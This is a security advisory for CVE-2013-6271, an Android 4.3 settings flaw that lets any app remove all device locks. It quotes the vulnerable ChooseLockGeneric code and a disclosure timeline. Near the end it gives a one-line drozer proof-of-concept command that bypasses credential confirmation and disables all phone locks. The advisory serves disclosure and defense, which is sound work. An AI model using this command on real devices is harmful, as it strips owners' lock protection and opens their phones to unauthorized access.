AndroidOS 4.3 / com.android.settings Permission Bypass

2013.11.28
Risk: High
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 8.8/10
Impact Subscore: 9.2/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: None

Please find a better readable version of the advisory here: https://cureblog.de/2013/11/755/ Cheers, Curesec Research Team ================================================== CVE-2013-6271: Security Advisory &#8211; Curesec Research Team 1. Introduction Advisory ID: Cure-2013-1011 Advisory URL: https://www.curesec.com/ Affected Product: AndroidOS 4.3 / com.android.settings Affected Systems: Android Fixed in: N/A Fixed Version Link: N/A Vendor Contact: security () android com Vulnerability Type: Permission Bypass / Design Error Remote Exploitable: No Reported to vendor: 11.10.2013 Disclosed to public: 27.11.2013 CVE: CVE-2013-6271 Credentials: crt () curesec com 2. Vulnerability Description The vulnerability described here enables any rouge app at any time to remove all existing device locks activated by an user. Curesec disclosed this vulnerability as Google Android Security Team was not responding any more about this issue. The bug exists on the &#8220;com.android.settings.ChooseLockGeneric class&#8221;. This class is used to allow the user to modify the type of lock mechanism the device should have. Android implements several locks, like pin, password, gesture and even face recognition to lock and unlock a device. Before a user can change these settings, the device asks the user for confirmation of the previous lock (e.x. If a user wants to change the pin or remove it it has to first enter the previou pin). Lets examine the following code extracted from the class: // Defaults to needing to confirm credentials <span style="background-color: #21e901;">final boolean confirmCredentials = getActivity().getIntent()</span> <span style="background-color: #21e901;">.getBooleanExtra(CONFIRM_CREDENTIALS, true);</span> <span style="background-color: #21e901;">mPasswordConfirmed = !confirmCredentials;</span> if (savedInstanceState != null) { mPasswordConfirmed = savedInstanceState.getBoolean(PASSWORD_CONFIRMED); mWaitingForConfirmation = savedInstanceState.getBoolean(WAITING_FOR_CONFIRMATION); mFinishPending = savedInstanceState.getBoolean(FINISH_PENDING); } if (mPasswordConfirmed) { <span style="background-color:#21e901;">updatePreferencesOrFinish</span>(); } &#8230;... private void updatePreferencesOrFinish() { Intent intent = getActivity().getIntent(); int quality = intent.getIntExtra(LockPatternUtils.PASSWORD_TYPE_KEY, -1); if (quality == -1) { // If caller didn't specify password quality, show UI and allow the user to choose. quality = intent.getIntExtra(MINIMUM_QUALITY_KEY, -1); MutableBoolean allowBiometric = new MutableBoolean(false); quality = upgradeQuality(quality, allowBiometric); final PreferenceScreen prefScreen = getPreferenceScreen(); if (prefScreen != null) { prefScreen.removeAll(); } addPreferencesFromResource(R.xml.security_settings_picker); disableUnusablePreferences(quality, allowBiometric); } else { <span style="background-color:#21e901;">updateUnlockMethodAndFinish</span>(quality, false); } } &#8230;... void updateUnlockMethodAndFinish(int quality, boolean disabled) { // Sanity check. We should never get here without confirming user's existing password. if (!mPasswordConfirmed) { throw new IllegalStateException("Tried to update password without confirming it"); } final boolean isFallback = getActivity().getIntent() .getBooleanExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK, false); quality = upgradeQuality(quality, null); if (quality &gt;= DevicePolicyManager.PASSWORD_QUALITY_NUMERIC) { int minLength = mDPM.getPasswordMinimumLength(null); if (minLength &lt; MIN_PASSWORD_LENGTH) { minLength = MIN_PASSWORD_LENGTH; } final int maxLength = mDPM.getPasswordMaximumLength(quality); Intent intent = new Intent().setClass(getActivity(), ChooseLockPassword.class); intent.putExtra(LockPatternUtils.PASSWORD_TYPE_KEY, quality); intent.putExtra(ChooseLockPassword.PASSWORD_MIN_KEY, minLength); intent.putExtra(ChooseLockPassword.PASSWORD_MAX_KEY, maxLength); intent.putExtra(CONFIRM_CREDENTIALS, false); intent.putExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK, isFallback); if (isFallback) { startActivityForResult(intent, FALLBACK_REQUEST); return; } else { mFinishPending = true; intent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT); startActivity(intent); } } else if (quality == DevicePolicyManager.PASSWORD_QUALITY_SOMETHING) { Intent intent = new Intent(getActivity(), ChooseLockPattern.class); intent.putExtra("key_lock_method", "pattern"); intent.putExtra(CONFIRM_CREDENTIALS, false); intent.putExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK, isFallback); if (isFallback) { startActivityForResult(intent, FALLBACK_REQUEST); return; } else { mFinishPending = true; intent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT); startActivity(intent); } else if (quality == DevicePolicyManager.PASSWORD_QUALITY_BIOMETRIC_WEAK) { Intent intent = getBiometricSensorIntent(); mFinishPending = true; startActivity(intent); } <span style="background-color: #ffff00;">else if (quality == DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED) {</span> <span style="background-color: #ffff00;">mChooseLockSettingsHelper.utils().clearLock(false);</span> <span style="background-color: #ffff00;">mChooseLockSettingsHelper.utils().setLockScreenDisabled(disabled);</span> <span style="background-color: #ffff00;">getActivity().setResult(Activity.RESULT_OK);</span> <span style="background-color: #ffff00;">finish();</span> } else { finish(); } } This first piece of code allows the caller to actually control if the confirmation to change the lock mechanism is enable or not. We can control the flow to reach the updatePreferencesOrFinish() method and see that IF we provide a Password Type the flow continues to updateUnlockMethodAndFinish(). Above we can see that IF the password is of type PASSWORD_QUALITY_UNSPECIFIED the code that gets executed and effectively unblocks the device. As a result any rouge app can at any time remove all existing locks. 3. Proof of Concept Codes For verification you can use drozer and test the following. #Disable all phone locks run app.activity.start --component com.android.settings com.android.settings.ChooseLockGeneric --extra boolean confirm_credentials false --extra integer "lockscreen.password_type" 0 5. Report Timeline 11.10.2013 Informed Vendor about Issue 12.10.2013 Mail from Vendor 18.10.2013 Mail to vendor, if any feedback exists, no response 11.11.2013 Mail to vendor, if any feedback exists, no response 19.11.2013 Mail to vendor, if any feedback exists, no response

References:

https://cureblog.de/2013/11/755/


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top